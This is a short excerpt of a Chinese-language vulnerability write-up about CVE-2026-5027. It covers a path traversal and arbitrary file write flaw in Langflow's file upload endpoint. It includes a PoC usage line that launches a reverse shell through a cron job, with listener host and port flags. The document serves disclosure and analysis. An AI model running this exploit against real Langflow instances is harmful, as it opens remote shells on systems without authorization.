CVE-2026-5027

本文是由EQSTLab发布的研究文章。 感谢Yahia Hamza报告并分析了此漏洞。 CVE-2026-5027 ★ CVE-2026-5027 Langflow 路径遍历/任意文件写入 PoC ★ 描述 CVE-2026-5027: Langflow 任意文件写入漏洞 描述：Langflow Reverse shell via cron job python3 CVE-2026-5027.py -t --lhost --lport 4444 分析 漏洞端点 root@kitploit: POST /api/v2/files 问题在于上传功能信任客户端提供的多部分 filename...